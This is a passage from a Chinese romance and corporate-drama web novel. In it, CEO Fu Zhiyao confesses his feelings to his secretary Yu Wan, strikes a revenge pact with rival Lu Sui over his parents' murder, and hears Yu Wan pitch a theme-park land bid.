“那是为什么?”虞晚追问。
傅知尧捏着冰凉的冷敷贴,嘴唇翕动,半晌,一句话也未能说出口。
下一秒,门外传来门铃声,叮咚叮咚的声响打破室内凝滞的氛围。
虞晚起身,错开和傅知尧交汇的目光,解释:“来的路上我叫了聚德楼的外送,是山药青菜粥,还有一些爽口的小菜,吃点粥垫肚子再喝药不会太难受,还能补充能量。”
外卖包装袋被物业的人搁在门口置物架上,虞晚提进门,放到餐桌上,将餐盒拿出来摆好,最后从单肩包里拿出蔡秘书准备的文件,放到餐边柜上,远离水源和餐食,避免打湿或污染。
想了想,虞晚抽出一张便签,写下药物的注意事项和服用次数,连同药盒一起摆在餐桌上。
“您需要的文件我已经送到,老板你好好休息,该喝什么药按照便签上的提示来,如果还是不舒服,给小程司机打电话,让他送你去医院,时间不早了,我先回家了。”
虞晚拎着包走到玄关处换鞋,走之前回头看了眼傅知尧,他依旧垂头呆愣地坐在沙发上,厚重的防盗门闭合。
叹息声连同关门声碰撞在一起,如同没入水潭的一滴雨水。
啪
啪
是雨滴砸在落地窗的声音。
傅知尧抬头,细细的雨丝斜擦过透明玻璃窗,落下敲击的声响,一点点将整扇落地窗笼上灰蒙的暗色。
虞晚好像没带伞。
傅知尧终于有了动作,他站起身,抓起玄关雨伞架中的一把直柄黑伞,毫不犹豫打开门。
公寓楼内有两部电梯,一部客梯,一部货梯。
虞晚搭乘的客梯已经开始下降,傅知尧只能等待旁边的货梯。
追出电梯时,虞晚已经从公寓楼内离开,她将包包举过头顶,闷头跑进雨幕,瘦弱的黑色身影彷佛要与周遭环境融为一体。
“虞晚!等等!”
听到沙哑熟悉的声音,虞晚放慢步伐,转过身,穿着浅色家居服的傅知尧已经站到了她面前,结实的胸膛压抑着不算平稳的起伏,木质香调的苦艾气息随着他倾斜雨伞的动作朝她倾覆,彷佛将她整个人包裹。
虞晚放下头顶举着挡雨的包包,擦了擦眼睫上沾惹的雨滴,仰头看向傅知尧:“老板。”
天已经完全暗了下来,万籁俱静,只有路灯昏黄的光芒倾洒,在潮湿的地面投下几片模糊的光斑。
傅知尧定定看着虞晚,艰涩地滚了滚喉结,千言万语在此刻的对视中化为虚无。
“虞晚。”
仅仅只是叫出虞晚这个名字,傅知尧声线就忍不住地颤抖。
“你不能这么对我。”
不能一边说着不喜欢他,一边总在对他好,这太残忍了,简直像是在用钝刀凌迟他的心。
“你不是问我为什么那段时间冷待你吗?”
傅知尧喉咙里连带着高烧的灼烫热气,声音却出乎意料的清晰坚定,“我的冷漠,别扭以及异常,全部都是因为……”
“我喜欢你。”
四个字,连同雨滴灯光毫无预兆砸向虞晚心脏。
虞晚瞳孔微缩,整个人像是被按暂停键,静默地站在原地,任由微凉的风卷起她的发梢,好证明她并不是一具雕塑。
傅知尧对虞晚的反应半点不奇怪,说出那句我喜欢你其实不难,简简单单四个字而已,像是一场迟到的海啸,他内心叫嚣奔涌的情绪好似找到了出口,骤然平息成一汪宁和的海。
“我……,对……”
虞晚木讷地张口想要说些什么,被傅知尧打断:“不用说,什么都不用说,虞晚,我都知道的。”
傅知尧脸色如常,声音暗哑,深邃高挺的眉骨隐匿在阴影中,看得并不真切,他朝虞晚扯了扯嘴角,露出一个淡到几乎看不出是笑容的表情,眼底隐隐有泪光闪动。
此时此刻,傅知尧才明白自己当初一直不愿意说,甚至不愿意承认自己喜欢虞晚的原因。
悲伤、失落、仿徨、哀怨、懊丧扭曲成一根坚固的绳索,栓住他那时死活不肯挑明喜欢的自尊心。
因为他知道,一旦他开口向虞晚表白,等待他的一定是虞晚的拒绝。
而他不愿意接受拒绝。
“你不需要道歉,虞晚,你不讨厌我,这就足够了。”
虞晚呼吸彷佛被无形的手攥住收紧,在她将要开口时,一辆黑色轿车缓缓驶到两人身边,副驾驶车窗下摇,露出小程笑嘻
嘻的年轻脸庞。
“老板!虞秘书!晚上好!”
傅知尧表情变得难以言喻,冷淡扫了眼露出八颗牙齿的程亮,后者像是终于察觉场面不对劲,缩了缩脖子,主动噤声。
几个呼吸间,傅知尧平定情绪,他打开后座车门,将伞塞进虞晚手掌心,“伞你拿着,上车吧,早点回家。”
不等虞晚回答,傅知尧转身朝着公寓楼方向走,走了没几步,还是忍不住回头,对上虞晚的视线,步伐慢下来,他笑了笑。
“虞晚,到家记得发条消息。”
淡哑的嗓音,很快模糊在潮风细雨之中。
不远处,黑色保姆车内。
傅许安双手撑着下巴,一脸困惑地看着在伞下聊天的虞晚姐姐和臭哥哥,距离太远,根本听不清两人在聊什么。
她拉了拉马吟芳的衣袖:“奶奶,为什么我们不能去打扰他们,我好久没和虞晚姐姐见面了,我想和她说话。”
马吟芳一脸淡定,悠闲地玩着手机上的开心消消乐,消灭图案时的系统欢呼声在车内狭小的空间回荡,透着中与窗外雨夜格格不入的轻松。
马吟芳道:“但现在哥哥在和虞晚姐姐聊天,不是吗?”
傅许安撇撇嘴角,不以为意:“哥哥能和虞晚姐姐聊什么,他总是凶巴巴的,会吓着虞晚姐姐的。”
马吟芳偏头看了眼仍旧在伞下聊天的两人,“谁知道呢,等他们聊完,你去问问你哥哥。”
傅许安当即将脑袋摇得像拨浪鼓,“不行不行,哥哥会捶我的!”
马吟芳失笑,“好了好了,再耐心等一会儿吧。”
片刻,傅许安在车内蹦跶起来。
“噢耶,聊完啦,聊完啦,喔不……虞晚姐姐坐上车离开了,哥哥也回家了,我都来不及和虞晚姐姐打招呼!真糟糕!”
马吟芳退出游戏页面,从置物盒里拿出一把折叠伞,“好了,现在我们去看你哥哥。”
发烧一整日也不知道说一声,要不是蔡秘书给她发消息时提了一嘴,她也不会在这个时候带着安安来看他。
刚要打开车门,手机弹出一条消息。
是傅知尧发来的。
知尧乖孙:【奶奶,我喜欢虞晚,但虞晚不喜欢我,我要怎么做才能让她喜欢我。】
第76章
那夜的雨断断续续下了将近一周才停止。
这一周里,傅知尧只来了公司两次,一次为谈合作,一次为新贸大厦投标。
傅知尧在出席的专项会议中正式宣布虞晚成为新贸地皮投标团队负责人,他的病还没彻底好,脸色有些苍白,但往长桌首位上一坐,昔日大魔王的气场和威严更甚,在场高管无不规矩细听傅总的命令。
至于有没有人当场质疑虞晚一个小秘书的能力?
新贸地皮还没确定花落谁家,这时跳出来反对有什么用,等虞秘书失败了,受挫了,再质疑其能力也不迟。
再者,虞秘书如果真有本事,一把将新贸的地拿到手,现在的轻视岂不是成了妥妥的打脸。
因此,在座各位互相对了个眼神,热烈掌声响起。
团队组建好,第一步不是分析项目立即开始工作,第一步是了解团队成员。
人是傅知尧选的,虞晚不怀疑傅知尧看人眼光这块,但她还是在得到许可后,向何总监要来团队成员的资料。
敲门进何总监办公室时,何总监已经准备好了资料,乐呵呵同虞晚打招呼:“来啦,虞秘书坐,随意坐。”
“何总监,麻烦您了。”
“不麻烦不麻烦。”
何总监摆摆手,他将几位同事入职的个人资料递到虞晚手中,“虞秘书你看看缺不缺什么?”
“好。”
虞晚接过资料,认真翻看。
趁着虞晚翻资料的功夫,何城坐到沙发对面,试探地开口问虞晚:“虞秘书啊,新贸项目是个持久战啊,前期投标结束,后期还要负责项目落地,至少要干一年。”
虞晚点头,“的确。”
4.08平方公里,就算只开发一半,也要五六个月,更何况项目竣工后还需要跟进宣传,否则六十亿美元的投资就是个笑话。
不过虞晚已经做好了打长久战的准备,她实地项目经验不够多,先前和信远的合作只能说是因为老熟人所以格外顺利,现在,摆在虞晚面前的是陌生的领域和全新的挑战,虞晚不能因为时间充裕就懈怠。
更何况地皮还没拿下,贷款焦虑没什么用,虞晚脑海里只有大致的想法,具体该怎么落实还需要团队内各位成员的配合。
这就是她问何总监要同事资料的原因,她需要对团队内成员有个基础的了解,方便后续工作分配,提高效率。
何城见虞晚没领会自己的意思,轻吸一口气,为难又委婉地提醒虞晚:“虞晚,你前几天是不是注册了什么求职软件。”
虞晚总算抬起头,满脸困惑,“注册倒是注册了,但何总监您是怎么知道的?”
何总监咳嗽两声,点到为止:“你待会儿回去看看你下载的那个软件,我就不多说了。不过,虞晚,新贸大厦的投标交给你,证明傅总是信任你的,你也不必纠结太多,好好工作,我看好你,有什么问题也别憋着,大胆问。”
入职不到八个月就敢接上百亿的项目,就凭这份决心,虞晚已经胜过许多人。
过程中被质疑被否定也正常,他只希望虞晚能不丧失斗志,一直保持下去,当然,愿意将如此重要的项目交给虞晚的傅知尧也是个人物,身为人事总监的何城还能怎么做,当然是支持傅总的决定。
从何总监那边离开,虞晚立刻打开自己手机里的求职软件。
下载新软件后她习惯性屏蔽无用软件的消息推送设置,自然不会注意求职软件的动静,加上和傅知尧有关工作安排的坦白,虞晚已经确信自己不会被边缘化处理,辞职另找工作便不在她的计划范畴。
虞晚翻看着消息栏密密麻麻的99+消息,一目十行过滤无用信息,最终在手指划酸之前找到了唯一一条主动发送出简历的对话框。
对方名称写着:鑫润食品有限公司
鑫润HR的口吻十分客气,连续给她发了十几条信息询问,直到确认她没有回复消息的意愿才放弃。
最后一句是这样的:【我看虞女士的工作经历,是在傅氏就职过吗?实不相瞒,我们鑫润是傅氏旗下一家食品公司,尧安百货内大部分自营食品都是由我们公司供货,规模大小不输其他的品牌公司,种类多,规模大,高低端全线覆盖,虞女士如果有意愿,欢迎随时联系,这是我的电话号码:……】
虞晚这才明白为何何总监会知道自己投递简历的事情,大概是鑫润的HR见自己没有回复消息,联系上了何总监询问情况。
虞晚抿了抿唇,复制那一串电话号码,诚恳地发了一段消息过去,说明简历是误发送,自己尚未离职,希望对方不要介意。
再看鑫润HR回复消息的日期,正是她和傅知尧对话的前一天。
所以,傅知尧是在知道她有辞职想法才将新贸的项目交给她?
虞晚想起傅知尧冲她比划投资额时笃定的口吻,彷佛她一定能成功,察觉到她的退缩后,又直白告诉她,有困难可以找他。
虞晚能感受到傅知尧说的话完全出于真心,不是勉强,不是为了挽留她的让步,如同之前每一次点头让她去试试,背后都是一种‘你放心去做,我会兜底’的保证。
被肯定,被相信,大概也是她在职场上成长速度如此快的重要原因。
即便傅知尧不说,虞晚也不可能在遇到困难后独自扛,一个人的智慧是有限的,能够合理利用身边的人脉、资源也是一种本事。
电梯门叮一声打开,迈入电梯,鼻尖率先传来熟悉的苦艾香气。
虞晚本能地抬头,对上傅知尧漆黑深邃的眼眸,心跳霎时
漏了一拍。
电梯内只有傅知尧一人,驼色条纹西装三件套,内搭马甲上别着一根金色的纯手工打制怀表链,扣眼处悬挂着枚狮子头徽章,精致复古,单手插兜,站姿随性,矜贵优雅的气息扑面而来。
比起前几天恹恹无力的病色,傅知尧今日精神气十足。
“虞秘书。”
这回是傅知尧先打招呼。
虞晚迟疑片刻,走到傅知尧身侧,颔首:“老板好。”
两人都是去顶层,电梯缓缓上行,空气静默。
“团队已经组建好,虞秘书接下来准备做什么?”傅知尧问。
虞晚目不斜视,微垂着眼,视线凝聚在镜面电梯壁倒映出的鞋尖,克制胡乱蹿动的心绪,声音清越:“开会,认识团队内各位成员,在项目进行前简单磨合一遍性格,减少不必要的争执。”
“嗯,磨合不了就别磨合,不需要的人直接踢出团队。”
虞晚朝傅知尧投去错愕目光,眼睛也瞪圆了几分,满脸难以置信。
傅知尧偏头,好整以暇看着她,眉梢轻抬:“不是吗?时间紧,任务重,虞秘书有多余的时间耽搁?”
虞晚:“……”
不知是不是虞晚的错觉,她总觉得傅知尧在那晚的坦白后,整个人彷佛甩掉某种包袱,变得坦然直率,上下班同她打招呼,看汇报文件也会毫不客气指出她的错误,言行举止好似回到从前。
偶尔会让虞晚产生一种两人从未有过嫌隙的错觉。
虞晚收回视线,脊背挺直了一些:“没有,所以,如果要将人踢出团队,老板介意我用你的名义吗?”
傅知尧眉眼在这一刻舒展开来,嗓音带着几分自我调侃的笑意:“大魔王的名头背了七年,还差你这一点?”
虞晚微微一怔,忽然有些后悔自己方才脱口而出的话。
“那我就更不能用老板你的名义了,如果我将定好的成员移出团队,大概也是因为对方不适合新贸项目,而不是出于私人原因。”
哪里有人心甘情愿被扣上大魔王称号,虞晚能在听人吐槽时点点头,但当着傅知尧的面,虞晚不太想讲这种会让他伤心的话。
电梯内安静数秒,虞晚能感觉到傅知尧在看自己,她回看过去,颇有些生硬地切换到另一个话题。
“老板,总裁办新成员是明天到公司报道吗?”
傅知尧回神,唇角的笑容迟迟没有落下来:“嗯,他叫徐敬康,今年二十六,之前一直在尧安百货那边工作,可以的话,麻烦虞秘书转交工作时多指点指点他。”
二十六岁,比她还要大三岁,也就傅知尧能理所当然说出让她指点指点徐敬康这种话了。
不过,在当秘书这方面,她的确是徐敬康的前辈。
虞晚点头:“我会的。”
新项目成立,虞晚暂时不会待在总裁办,行政那边在31层收拾出一间宽敞的办公区域,作为新贸项目团队的专属办公室,办公室内附带会议室,不必再提前预约公共会议室,方便成员随时随地开会讨论。
团队内部首次会议,卫羡悄咪咪带着电脑来旁观,同虞晚打了声招呼,坐到会议室角落。
虞晚按照流程不急不缓推进,自我介绍,成员互相介绍,项目的基本情况介绍和重点注意事项。
在某个成员着急发言表现时制止他,让对方安静听她讲完再发表意见,言辞举止张弛有度。
卫羡讶异的同时油然产生一种欣赏和敬佩。
卫羡还记得自己初次带领项目同成员磨合的过程,因为怕团队内部产生矛盾,一直奉行自由讨论原则,她发言时被打断是常有的事情,她没有制止,为了表面和谐选择退让,最后的结果就是压根儿没人把她说的话当回事,每次一开口,话还没说完就有人跳出来表达不满。
过度的自由反而成了压在她头上的巨石,让她失去了领导的威信。
卫羡不得不向傅总求助,傅知尧将她狠批一顿,拎着文件进了会议室,都不用开口,整个会议室骤然安静,一个个原本吵得面红耳赤的人老实成鹌鹑,一句话都不敢多说。
虞晚比她聪明多了,始终牢牢把控话语的主动权,将傅知尧沉默时的神态学了个七七八八,别看只有七八分,却已经足够唬人,没看到在场人员都是在虞晚点头后才敢发言吗。
卫羡低头,给傅知尧发去消息。
【会议流程清晰,节奏适中,核心目标整合到位,虞秘书很厉害,我学到了很多。】
第77章
收到卫羡消息时傅知尧正在翻阅需要签字的文件,财务部年总监站在办公桌前耐心等待。
傅知尧动作一顿,没有立刻查看手机,确认文件内数据无误,签下自己的名字,将文件递给年总监。
“第三季度的宣传费用超标,上个月让你压缩各部门季度宣传预算,反馈如何,抽空开个会了解了解。”
年总监快步上前接过文件,“好的傅总,会议我会尽快安排。”
“嗯。”
等年总监离开办公室,傅知尧拿起手机点开卫羡发来的消息。
简简单单一句话,傅知尧看得心满意足,彷佛夸的不是虞晚,而是他。
和虞晚现在的相处状态是傅知尧能想象到的最好结果,对于他喜欢虞晚这件事,他已经向虞晚挑明,无需再掩饰什么,他唯一需要考虑的是他的喜欢会不会给虞晚带来困扰。
就像是周瞿洋说的,地位的不对等,会让人内心产生倾斜。
即便虞晚答应了他的告白,和他在一起,也会被其他人质疑是不是靠身体上位,傅知尧不希望虞晚处于这样的舆论风暴中,他明白虞晚的潜力,清楚并欣赏虞晚的野心,愿意做那个伸出手扶她往上爬的人。
其他的,除了顺其自然,傅知尧不敢轻举妄动。
因为虞晚有个不算缺点的缺点,她还太年轻,这个世界她只经历了二十三年,未来,或许虞晚会遇到更合适的人,与对方恩爱两不疑,或许虞晚这辈子都不会选择进入恋爱或者婚姻,持续在工作领域深耕发展。
虞晚的未来有无数种可能。
但在傅知尧这里,只有他喜欢虞晚这一种可能性。
傅知尧轻叹口气,放下手机。
黑色座机电话叮铃铃响起来,话筒另一端是蔡杨的声音,“老板,楼下前台小赵说有位姓陆的先生找您,但他没有预约,他说只要您接了电话就会明白,需要我转接一下吗?”
姓陆,并且前台小赵不认识,除了屿风那位低调的副总裁陆决风,傅知尧想不出第二个人。
傅知尧眼眸瞬间冷下来,“不用,让小赵带他去五楼三号会议室,我马上下楼。”
三号会议室内。
赵莹莹在得到许可后将陆随请进会议室,端来一杯热茶,“陆先生,麻烦您稍等片刻,喝杯热茶,我们傅总马上下楼。”
陆随微微一笑,声音温润:“好,谢谢你。”
赵莹莹对长得好看的人毫无抵抗能力,对长得好看还温柔的人更是没有抵抗能力,碍于上班时间,克制地回了个微笑,转身离开。
等到傅知尧踏步走出电梯,赵莹莹才端起另一杯倒好的热茶,快步走在前方为傅知尧指路,将热茶放在傅知尧手边,静悄悄关上门,把门口电子屏标识切换成勿扰状态。
会议室内开
了空调,傅知尧和陆随坐在长桌两侧,桌上两杯热茶飘起丝丝缕缕的白色雾气,模糊了面前两人的容貌。
会议室内安静半分钟,陆随最先开口:“傅总不好奇我找你是为什么?”
傅知尧好奇吗?
当然好奇。
喜欢和爱这种情绪里总是掺杂着占有,他能心平气和坐在这里同陆随见面,只是不希望对方闹到虞晚面前。
“陆总不是个喜欢浪费时间的人,除了虞晚,我和你之前还有什么可以聊的?”傅知尧说。
陆随弯了弯唇角,话语冷淡没有起伏:“的确,让傅总和杀父仇人的养子坐在一起,傅总态度能如此和睦已经是出乎我的意料。”
傅知尧搁置在膝盖上的手默默攥紧,“陆决风,我没空和你说些弯弯绕绕的话,我们之间没有合作关系,只有竞争关系,如果你还要在这里同我打哑谜,我会让公司保安将你请出去。”
陆随端起桌上热茶抿了一口,不紧不慢开口:“我明白,傅知尧,我来找你,是想同你谈合作。”
“合作?”傅知尧冷笑,言语间无不透露着嘲讽,“你是以什么样身份说出这句话?”
他并不奇怪陆决风知道他父母的死和陆宗信有关,毕竟针对了屿风集团六年,就算陆宗信不说,陆决风私下肯定也调查过。
但他既然知道陆宗信是他的仇人,就该明白,他绝对不会和他合作。
即便他只是陆宗信的养子。
陆随表情始终平淡:“我当然不够格,那么虞晚呢。陆宗信和陆屿森知道我和虞晚来往的事情,派了人跟踪虞晚,尤其是你现在将新贸地皮的投标交给虞晚,这无异于将虞晚往火坑里推。”
新贸大厦的地皮是个大项目,傅氏集团体量摆在那边,不怕同别人抢,但让虞晚当这个出头鸟,陆随不懂傅知尧在想些什么。
他不认为傅知尧不知道陆屿森的目标是新贸,但傅知尧偏偏让虞晚接手新贸的项目,如果他喜欢虞晚,更应该担忧虞晚的安全,又为什么要让虞晚身处险境。
傅知尧眸光锐利,在陆随提到虞晚被跟踪时情绪终于有了较大的波澜,“所以陆宗觉得我该在虞晚最想要施展拳脚的时候将虞晚项目负责人的名号撤下来,让她继续当平平无奇的秘书?陆总不是蠢人,最开始将虞晚往火坑里推的人分明是你。”
如果不是陆随刻意出现在虞晚面前,那么虞晚不会和陆随产生来往,自然的,也不会引起陆屿森和陆宗信的注意。
陆随没有被傅知尧的指责打乱节奏,清俊的面容上看不出丝毫的异样。
陆随:“我很欣慰傅总能始终站在虞晚的角度考虑问题,但,傅总不好奇那天将虞晚带去服装店质问的女人是谁吗?”
傅知尧眼眸微动,就在他张口想要制止陆随的下一秒,听到陆随的声音。
“那是虞晚的亲生母亲。”
终于,一把重锤狠狠砸向傅知尧。
陆随面无表情继续说:“在虞晚出生后,就将虞晚残忍抛弃的,亲生母亲。”
“她现在的身份,你恐怕也不会陌生,海度集团董事长宋正雄的妻子,宋楚楚的母亲,于荷雅。”
宋楚楚?
傅知尧隐约从记忆深处想起这人。
当时他被下药后调监控,查到了宋楚楚在同一时间出现在不该出现的六楼长廊,即便药不是宋楚楚本人下的,但出于对宋楚楚身份的考量,将她调去了后勤部,叮嘱高总监多加注意,结果没过多久,高总监向他汇报,宋楚楚已然离职。
因此,傅知尧便没把这人放在眼里。
只当在他公司上班是富二代小朋友最喜欢玩的一类假装灰姑娘的游戏。
陆随继续说:“于荷雅不是宋楚楚的亲生母亲,她和宋楚楚的亲生母亲是朋友,这其中的关系很复杂,一时半会儿难以解释,你可以理解为,情人怀孕想要上位最终和正妻同归于尽,让于荷雅捡漏,以抛弃自己亲生孩子为代价,成为海度集团的董事长夫人。”
虞晚就是那个被抛弃的亲生孩子。
傅知尧咬牙切齿看着陆随,恨不得揪起对方的领子狠狠给他那张虚伪的脸庞一拳。
随意将这样一个烫手山芋扔给他,让他怀揣着一枚已经扯掉拉销的炸弹,指不定什么时候就会刺伤他和虞晚的关系。
他已经不能再让虞晚对他感官更差。
陆随笑了笑,终于满意了傅知尧的表现和反应,“傅总,我说这些并不是想威胁你,虞晚不在意她的亲生母亲是谁,也不想要所谓的认亲回到于荷雅身边,她想要的其实一直都很简单。”
比起和抛弃她的母亲相认,虞晚更想拥有可以独立生存的依仗,比如事业,比如金钱。
而这些,傅知尧和他都清楚。
“你的目的是什么?”
“我的目的?”陆随眼底浮现淡淡的讽刺,“你以为我会说些什么?让你远离虞晚?呵,傅知尧,我知道你喜欢虞晚,但我不希望你所谓的喜欢伤害她,因为你压根儿就配不上虞晚。”
陆随从不将傅知尧视为对手,他和傅知尧的目的某种程度上来讲是相似的。
在和虞晚相认后,之所以从未出现在傅知尧面前是不希望虞晚这个秘书难做,他不是没有旁敲侧击劝虞晚换份工作,但他看得出来虞晚对自己工作的热爱,不想当那个破坏的人。
陆随比谁都清楚自己的身体状况,甚至早就做好和陆家鱼死网破的决定,直到二月份收到的,那封匿名邮件。
【陆随哥,离开陆家,离宋楚楚远些,按时吃药,不要放弃治疗。】
他按捺住立刻去找虞晚的冲动,重新修改计划,将一切准备好,这才去找虞晚,而虞晚似乎忘记了从前的一切,对他的态度礼貌又疏离。
陆随不敢随便刺激她,只能伪装身份,装作什么都不知道。
虞晚是个心肠柔软的人,即便他欺骗了她,在傅知尧因此生气时还是选择留下来,一脸担忧地询问他当年离开孤儿院后发生了什么。
他想骗她,说那些心理诊疗报告都是假的,可又清楚骗不过她,只能说自己会好好吃药,兴许某天就会好。
虞晚相信了,或者说,她只有相信这一种选择。
陆屿森的擅自插手推动了他计划的进行,但他插手的同时偏偏还要拿虞晚当做威胁,陆随无法忍受。
除了找傅知尧合作,陆随暂时想不出双全的办法。
陆随胸腔内缓缓渡入一口氧气,他沉声道:“我可以亲手杀了陆宗信,傅总觉得以这个作为交换代价,如何?”
傅知尧猛地直起身,目光凌厉,一错不错地盯着陆随:“你疯了?!”
“不,我很清醒。”
“清醒情况下你随便把杀人这个词挂在嘴边?”
陆随半点不急躁,“我以为面对杀害父母的仇人,亲手惩治会更过瘾,原来傅总是个如此守法的人。不过没关系,我都可以,我手中有陆宗信当年雇凶杀害你父母的证据,这样,足够了吗?”
傅知尧彷佛听见脑海内紧绷的弦一根根断裂的声音,他攥拳的动作愈发用力,额头青筋突起,他的理智和冷静在陆随的引导下一点点化成烧尽的灰。
傅知尧想要这份证据,这份足以将陆宗信扭送进监狱,判处死刑的证据!
他没有考虑陆随欺骗他的情况,比起那个行事浮夸不着调的陆屿森,陆随既
然说了这话,就证明他有这个交换资本。
半晌,傅知尧放弃抵抗,声音晦涩:“……我的顾虑很多,做不到像陆总这样潇洒,直说吧,你想要我做什么。”
陆随冷冷看着傅知尧,“这一切交易以虞晚拿下新贸地皮为前提,我希望你在此期间保证她的安全,以及,在必要时刻推波助澜。”
虞晚如果拿下了新贸的地皮,那她就是陆屿森的眼中刺,陆屿森那个疯子可能做出比跟踪、监视更恐怖的事情,虞晚如果没有拿下新贸的地皮,她在陆屿森眼中的威胁性下降,陆屿森也不会一直将主意打到虞晚身上。
陆屿森想要的无非是钱和权。
前者握在陆老爷子手里,后者握在继母和他陆随手里。
所以接下来,陆随会因病辞职,将陆屿森想要的权交还给他,让他尝遍权的滋味后再灰溜溜上门求他。
陆随将手机屏幕递到傅知尧面前,声音肃冷:“之后的计划,围绕海度和屿风进行,我要同时拖他们两家集团下水。”
傅知尧只扫了两眼便清楚了陆随的计划,可以说是筹谋已久,只差一个时机。
屿风集团他可以理解,但海度集团又是为何。
傅知尧皱眉:“你是想替虞晚报仇?”
“这话该问你。”陆随黑眸深沉难以捉摸,“知道为什么海度一直在和屿风绑定深度发展吗?不仅仅是因为傅氏的针对。”
“当年制造车祸的那位货车司机,是海度董事长宋正雄找的。”
第78章
新贸大厦项目会议来来回回开了将近一周,投标文件内容确认完毕,由虞晚先一步向傅知尧汇报,详细阐述投标计划及内容。
汇报地点在三十一层的团队内会议室。
会议室门关得严丝合缝,磨砂玻璃作遮挡,只看得见影影绰绰的两道轮廓。
团队内其他九名成员喝着虞晚点的下午茶,一边抻着脑袋往会议室里看,心里忐忑又担忧。
团队里性格最外向的张泽栋开口:“我好害怕我们方案没过,让虞晚姐一人承担被骂的火力。”
投标方案目前还是第一版,也是由虞晚最先提出的想法深入展开,如果傅知尧不满意,肯定要重新构思,熬夜想方案、算数据是小事,要是傅总觉得他们团队能力不行,全员劝退才是大事。
新贸这项目棘手归棘手,一旦做好了,百万、千万奖金不是梦,至少海市房子首付轻轻松松。
所以团队内大部分人完全是凭借对奖金的热爱煎熬。
范睿茜倒是比张泽栋乐观些,她咬了口香甜的开心果蛋挞,“别太担心,你们不觉得虞晚姐有种魔力吗?明明她讲话音量一点都不大,声线也很平淡,可你就是会不自觉冷静下来听她说,而且她每次说的话都不会前后矛盾,很有说服力,我特别喜欢。”
这点获得了其他几人一致认可。
算上虞晚,团队内一共十人,十个人在同一个办公室内磨合了九天,对彼此的性格和业务能力也有了大致了解。大家对虞晚的称呼从最开始客气生疏的虞秘书到现在亲切的虞晚姐,无论是比虞晚大还是比虞晚小都这么叫。
开始虞晚还会纠正一两次,到后来已经能坦然接受这个称呼。
不同于团队成员想象的风暴画面,会议室内的两人心境十足平和。
虞晚将冰拿铁放到傅知尧手边,走到幕布前打开准备好的PPT,对上傅知尧视线,脊背不自觉挺直了几分。
傅知尧指尖还未触碰到杯壁,唇角弧度先一步上扬,他就知道,即便他不带水,虞晚也会为他准备。
傅知尧端起来抿了一口,燕麦抹茶拿铁,不额外加糖,是他喜欢的味道。
“开始吧。”
虞晚点了点头:“好的老板。”
“新贸占地约401公顷,其中还包含一个人工湖,在设定项目方案前,我们团队参考先前海市郊区地皮开发项目进行了搜集讨论,度假村、游乐园、农家乐及房产开发等,基本上我们能想到的都有对应的案例,针对其营收现状在进行分析可以得知……
“所以,以上种种在新贸这块地皮上毫无优势,我们团队第思考过后选择否决这些方案,将项目重点凝聚到了IP变现这一点。”
IP变现并不算一个新词汇,影视公司,潮玩公司都在这个赛道挤,傅氏旗下食品、日用品等也多有合作,可以说是热门中的热门。
傅知尧换了个姿势,示意虞晚继续说,虞晚切换幕布上的照片:“华康影视娱乐公司,享誉全球的知名电影巨头之一,旗下各类电影、游戏IP多且内容驱动强,覆盖年龄段广,依托强IP内容打造沉浸式主题乐园,盈利方式立体且多样,除了常规的门票,带动并重视餐饮、住宿、周边等衍生消费,这也是营收的大头。”
一座大型主题乐园光靠门票是没有办法实现盈利的,门票收费高,没人来,门票收费低,园区维护成本每时每刻都在增长,所以实现营收的重点必须集中在衍生品的消费上。
“华康影视此前就一直有在国内落户亚洲第三座大型主题乐园的决策,我通过汪步仁总的人脉联系上了华康的团队,进一步确认了解了对方的想法,如果本次开标,由我们傅氏拿下新贸地皮,我想邀请华康影视来海市实地勘察,这中间有将近一周的时间去接洽、沟通和商讨,方便双方深入交流,了解项目的优势。”
毕竟还没到开标时间,提前邀请对方团队,万一傅氏没能拿下地皮岂不是给了其他公司钻岔子的机会。
一周时间,足够傅氏和华康双方在签订项目合同签确认双方投资金额以及股权比例。
华纳影视作为影视界巨头之一,资金雄厚,IP知名度高,一旦确认主题乐园选址,是对傅氏知名度,以及海市经济的一次带动。
傅知尧敛眸:“接洽也是由你来负责?”
虞晚点头,将文件递到傅知尧面前。
“我已经提前写好了相关项目的优势点,不过是中文版,之后我会修改、优化,老板你不用担心语言交流的障碍,有关乐园建设的英文用语我理解起来是完全没有问题的,而且,我不是一个人,是一个团队,我不会,还有其他人会。”
傅知尧翻开文件,直奔最重要的营收一栏,预计回本周期为四年,可通过部分热门园区和项目缩短,这其中包含了税息折旧及摊销前利润,也考虑到傅氏以贷款的方式参与投资,优先偿还贷款的情况。
文件里将主题乐园分三期进行建设,逐步开放主题乐园区域,在此基础上还能对门票价格进行细微调整,进一步缩短盈利周期。
可以说,相当周全。
虞晚的汇报到此仍没有结束,她继续讲述:“大型项目的建设离不开政府有关部门的支持,新贸大厦附近的基础设施建设……,上下游产业的带动……,对于海市就业岗位增加……,消费群体辐射海市附近几大高GDP地区……”
傅知尧听到最后,已经完全被虞晚带入她所创设的世界中,直到虞晚在他面前摆手,他才回过神。
看着虞晚明亮的眼,傅知尧松开因思考微皱的眉头,笑容倏然深了几分:“在你提出主题乐园想法前,我一直在想,如果你说要建设度假村我该怎么婉拒。”
虞晚挑了下眉:“老板还记得港城的黄经理吗?”
“记得。”
傅知尧还专程给他发去消息,让他将那条柔软的米白色毯子寄来海市,毯子收到后立刻送去干洗,现在就摆在他房间内的沙发前。
虞晚露出一个浅浅的微笑,脸颊两侧的小括号若隐若现:“我给他发消息,要来了他妻子的联系方式,给他妻子江女士打电话,询问她对度假山庄的看法,她向我吐槽度假山庄,认为其可玩度太低,布景虽然好看,但只适合夫妻放松,不适合带小孩子去,说不算住宿和门票都花了小两千,下次再也不去了。”
线上信息搜集和线下调研相结合,是虞晚的风格。
傅知尧轻笑出声,声音低沉撩人:“虞秘书,你真厉害。”
短短一句话,硬生生让傅知尧讲出了情话的缱绻缠绵,虞晚忽然觉得会议室内空气有些燥热,端起水杯喝了一口,勉强压下去那一瞬的怦然。
旋即,傅知尧恢复正经,指出了几个需要修改的地方,虞晚凝神听,拿起笔顺手做了几个标记。
等虞晚写完,傅知尧神色颇为凝重地开口:“虞晚,还有一点我需要你注意,虽说本次投标,招标方强调看项目方案内容,但出价这方面,10.8亿太低了,如果是之前,这个数字绝对够,但现在,你有没有注意到新贸地块周边土地的价格,溢价率136%,这还是新贸尚未开标前的价格。”
如果确认了华康影视主题乐园项目落地,那么周边土地溢价绝对不止现在这个价格。
既然确定了对虞晚团队提出项目的自信心,傅知尧也不再犹豫:“11.
6亿,虞晚,把竞价再提高0.8亿,这个项目,值得这么多。”
